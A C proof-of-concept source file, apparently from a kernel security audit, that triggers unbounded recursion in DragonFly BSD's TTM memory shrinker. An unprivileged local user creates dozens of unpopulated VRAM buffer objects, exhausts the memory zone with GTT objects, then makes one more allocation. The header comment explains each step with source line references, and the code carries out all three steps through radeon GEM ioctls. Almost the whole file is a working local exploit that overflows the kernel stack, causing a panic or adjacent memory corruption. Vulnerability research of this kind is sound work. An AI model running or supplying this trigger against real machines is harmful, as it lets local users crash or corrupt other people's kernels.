/*
 * DF-4791 - TTM memory-accounting shrinker unbounded recursion
 *           (ttm_shrink <-> ttm_bo_swapout) -> kernel stack overflow
 *
 * Trigger (unprivileged local user with /dev/dri/card0 access on a
 * machine with a radeon- or amdgpu-driven GPU):
 *
 *   Phase 1 - groom the swap_lru head:
 *             create N (>= 32) VRAM-domain buffer objects and never
 *             touch their pages.  Each gets a ttm_tt in tt_unpopulated
 *             state and is placed at the head of ttm_bo_global's
 *             swap_lru (ttm_bo.c:182-187).  No page accounting happens
 *             yet (populate is lazy).
 *
 *   Phase 2 - push the TTM kernel zone over its limit:
 *             create + mmap + fault GTT/system buffer objects until
 *             zone->used_mem exceeds zone->max_mem
 *             (each populated page is accounted PAGE_SIZE via
 *             ttm_pool_populate -> ttm_mem_global_alloc_page,
 *             ttm_page_alloc.c:910).
 *
 *   Phase 3 - arm the recursion: one more GEM allocation goes through
 *             ttm_bo_create -> ttm_mem_global_alloc -> ... ->
 *             ttm_mem_global_alloc_zone (ttm_memory.c:502) which fails
 *             the limit check and calls ttm_shrink (ttm_memory.c:517).
 *             ttm_shrink -> ttm_bo_swapout picks a phase-1 VRAM BO,
 *             moves it to SYSTEM|CACHED (ttm_bo.c:1807-1819).  The move
 *             (radeon_move_vram_ram staging bind / ttm_tt_bind,
 *             ttm_bo.c:344 -> ttm_tt.c:341) must POPULATE the tt;
 *             the first ttm_mem_global_alloc_page re-fails the limit
 *             check and calls ttm_shrink AGAIN (ttm_memory.c:517) ->
 *             ttm_bo_swapout picks the NEXT phase-1 BO -> ...
 *
 *             Nesting depth == number of consecutive unpopulated VRAM
 *             BOs on the swap_lru; ~12 kernel frames (~1-2 KiB) per
 *             level against a 16 KiB kernel stack (UPAGES=4,
 *             sys/cpu/x86_64/include/param.h:126).  N >= 32 overflows
 *             the stack: adjacent kernel memory corruption / panic.
 *
 * NOTE: this guest has no DRM device (QEMU std-VGA, no radeon/amdgpu/
 * i915 hardware), so the run is expected to fail at open() - the
 * structural proof lives in VERDICT.md and the path:line chain above.
 */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <fcntl.h>
#include <unistd.h>
#include <errno.h>
#include <sys/ioctl.h>
#include <sys/mman.h>

/*
 * ioctl command numbers, Linux drm encoding (_IOC(dir,type,nr,size)),
 * which is what the DragonFly drm port decodes in-kernel.  On a real
 * system include <drm/radeon_drm.h> instead.
 */
#define DRM_IOCTL_VERSION		0xC0246400 /* _IOWR('d',0x00,v36B) */
#define DRM_IOCTL_RADEON_GEM_CREATE	0xC0206449 /* _IOWR('d',0x49,32B) */

struct radeon_gem_create {
	uint64_t size;
	uint64_t alignment;
	uint64_t initial_domain;
	uint32_t flags;
	uint32_t handle;
};
#define RADEON_GEM_DOMAIN_CPU  (1 << 0)
#define RADEON_GEM_DOMAIN_GTT  (1 << 1)
#define RADEON_GEM_DOMAIN_VRAM (1 << 2)

static int nr_vram_bos   = 64;	/* phase 1: recursion fuel            */
static size_t fill_bytes = 256UL << 20; /* phase 2: exceed zone limit */

static int create_bo(int fd, uint64_t size, uint64_t domain, uint32_t *handle)
{
	struct radeon_gem_create arg;

	memset(&arg, 0, sizeof(arg));
	arg.size = size;
	arg.initial_domain = domain;
	arg.alignment = 4096;
	if (ioctl(fd, DRM_IOCTL_RADEON_GEM_CREATE, &arg) < 0)
		return -1;
	*handle = arg.handle;
	return 0;
}

int main(int argc, char **argv)
{
	int fd, i, nfilled = 0;
	uint32_t h;

	if (argc > 1) nr_vram_bos = atoi(argv[1]);
	if (argc > 2) fill_bytes = strtoull(argv[2], NULL, 0);

	fd = open("/dev/dri/card0", O_RDWR | O_CLOEXEC);
	if (fd < 0) {
		fprintf(stderr, "[!] cannot open /dev/dri/card0: %s\n",
		    strerror(errno));
		fprintf(stderr, "[!] no DRM device -> trigger not runnable "
		    "on this machine\n");
		return 2;
	}

	printf("[+] opened /dev/dri/card0\n");

	/* Phase 1: recursion fuel - untouched VRAM BOs at swap_lru head */
	for (i = 0; i < nr_vram_bos; i++) {
		if (create_bo(fd, 4096, RADEON_GEM_DOMAIN_VRAM, &h) < 0) {
			fprintf(stderr, "[!] vram gem create %d: %s\n", i,
			    strerror(errno));
			return 3;
		}
	}
	printf("[+] %d VRAM BOs parked on swap_lru (ttm unpopulated)\n",
	    nr_vram_bos);

	/* Phase 2: push kernel-zone used_mem over max_mem */
	while (nfilled * (4UL << 20) < fill_bytes) {
		if (create_bo(fd, 4UL << 20,
		    RADEON_GEM_DOMAIN_GTT, &h) < 0)
			break;	/* over the limit already - perfect */
		nfilled++;
	}
	printf("[+] %d x 4MiB GTT BOs (populated pages account "
	    "PAGE_SIZE each)\n", nfilled);

	/*
	 * Phase 3: the next accounting-checked allocation recurses:
	 * ttm_mem_global_alloc_zone -> ttm_shrink -> ttm_bo_swapout ->
	 * move-to-system -> populate -> ttm_mem_global_alloc_page ->
	 * ttm_mem_global_alloc_zone -> ttm_shrink -> ...
	 * Depth == nr_vram_bos; kernel stack (16 KiB) blows at ~10-16.
	 */
	printf("[*] arming recursion with one more GEM create...\n");
	if (create_bo(fd, 4096, RADEON_GEM_DOMAIN_GTT, &h) < 0)
		printf("[*] got expected -ENOMEM-ish refusal (errno=%d); "
		    "recursion already inside\n", errno);
	printf("[*] survived (stack did not overflow)\n");
	return 0;
}
